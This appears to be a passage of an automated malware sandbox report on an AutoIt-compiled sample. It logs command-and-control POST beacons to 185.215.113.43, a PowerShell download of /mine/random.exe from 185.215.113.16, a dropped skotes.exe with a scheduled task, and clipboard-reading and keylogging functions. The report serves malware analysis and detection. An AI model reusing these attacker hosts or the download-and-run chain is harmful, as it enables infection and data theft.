Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.43 185.215.113.43
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006FCE44 InternetReadFile,SetEvent,GetLastError,SetEvent, 0_2_006FCE44
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Connection: Keep-Alive
Source: unknown HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: powershell.exe, 00000006.00000002.2178696280.0000000002878000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.
Source: powershell.exe, 00000006.00000002.2179500896.0000000004A8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2179500896.0000000004AB3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16
Source: powershell.exe, 00000009.00000002.2215482006.000001304344D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: skotes.exe, 00000013.00000002.3380192255.0000000000A01000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000013.00000002.3380192255.00000000009E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.3380192255.0000000000A18000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000013.00000002.3380192255.0000000000A18000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php&
Source: skotes.exe, 00000013.00000002.3380192255.0000000000A01000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php0
Source: skotes.exe, 00000013.00000002.3380192255.0000000000A08000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0V
Source: skotes.exe, 00000013.00000002.3380192255.0000000000A18000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php7
Source: skotes.exe, 00000013.00000002.3380192255.00000000009E9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php9.ht
Source: skotes.exe, 00000013.00000002.3380192255.0000000000A18000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpA
Source: skotes.exe, 00000013.00000002.3380192255.00000000009AB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpJZ
Source: skotes.exe, 00000013.00000002.3380192255.0000000000A18000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpQ
Source: skotes.exe, 00000013.00000002.3380192255.00000000009E9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpU.
Source: skotes.exe, 00000013.00000002.3380192255.0000000000A08000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000013.00000002.3380192255.0000000000A18000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phps
Source: skotes.exe, 00000013.00000002.3380192255.0000000000A08000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpx
Source: skotes.exe, 00000013.00000002.3380192255.0000000000A08000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=K
Source: powershell.exe, 00000006.00000002.2182361859.0000000005784000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2291519677.00000130555DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2291519677.000001305549D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000009.00000002.2250918928.000001304565D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.2179500896.0000000004721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2250918928.0000013045431000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000009.00000002.2250918928.000001304565D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000009.00000002.2250918928.0000013045431000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000006.00000002.2179500896.0000000004721000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000009.00000002.2291519677.000001305549D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000009.00000002.2291519677.000001305549D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000009.00000002.2291519677.000001305549D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000009.00000002.2250918928.000001304565D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000002.2179500896.0000000004B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2250918928.000001304658D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: powershell.exe, 00000006.00000002.2182361859.0000000005784000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2291519677.00000130555DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2291519677.000001305549D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006FEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard, 0_2_006FEAFF
Contains functionality to modify clipboard data
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006FED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard, 0_2_006FED6A
Contains functionality to read the clipboard data
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006FEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard, 0_2_006FEAFF
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006EAA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput, 0_2_006EAA57
Potential key logger detected (key state polling based)
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_00719576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW, 0_2_00719576

System Summary
barindex
Binary is likely a compiled AutoIt script file
Source: PUDNz69qBQ.exe String found in binary or memory: This is a third-party compiled AutoIt script.
Source: PUDNz69qBQ.exe, 00000000.00000002.2139326890.0000000000742000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_5259a367-2
Source: PUDNz69qBQ.exe, 00000000.00000002.2139326890.0000000000742000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_0f8cb114-c
Source: PUDNz69qBQ.exe String found in binary or memory: This is a third-party compiled AutoIt script. memstr_9b551419-a
Source: PUDNz69qBQ.exe String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_d69dacb3-f
Creates HTA files
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe File created: C:\Users\user\AppData\Local\Temp\iExzqhyV9.hta Jump to behavior
PE file contains section with special chars
Source: TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE.6.dr Static PE information: section name:
Source: TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE.6.dr Static PE information: section name: .idata
Source: TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE.6.dr Static PE information: section name:
Source: skotes.exe.11.dr Static PE information: section name:
Source: skotes.exe.11.dr Static PE information: section name: .idata
Source: skotes.exe.11.dr Static PE information: section name:
Powershell drops PE file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Jump to dropped file
Contains functionality to communicate with device drivers
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006ED5EB: CreateFileW,DeviceIoControl,CloseHandle, 0_2_006ED5EB
Contains functionality to launch a process as a different user
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006E1201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock, 0_2_006E1201
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006EE8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState, 0_2_006EE8F6
Creates files inside the system directory
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE File created: C:\Windows\Tasks\skotes.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_00688060 0_2_00688060
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006F2046 0_2_006F2046
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006E8298 0_2_006E8298
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006BE4FF 0_2_006BE4FF
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006B676B 0_2_006B676B
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_00714873 0_2_00714873
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_0068CAF0 0_2_0068CAF0
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006ACAA0 0_2_006ACAA0
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_0069CC39 0_2_0069CC39
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006B6DD9 0_2_006B6DD9
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_0069D07D 0_2_0069D07D
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_0069B119 0_2_0069B119
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006891C0 0_2_006891C0
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006A1394 0_2_006A1394
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006A781B 0_2_006A781B
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_0069997D 0_2_0069997D
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_00687920 0_2_00687920
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006A7A4A 0_2_006A7A4A
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006A7CA7 0_2_006A7CA7
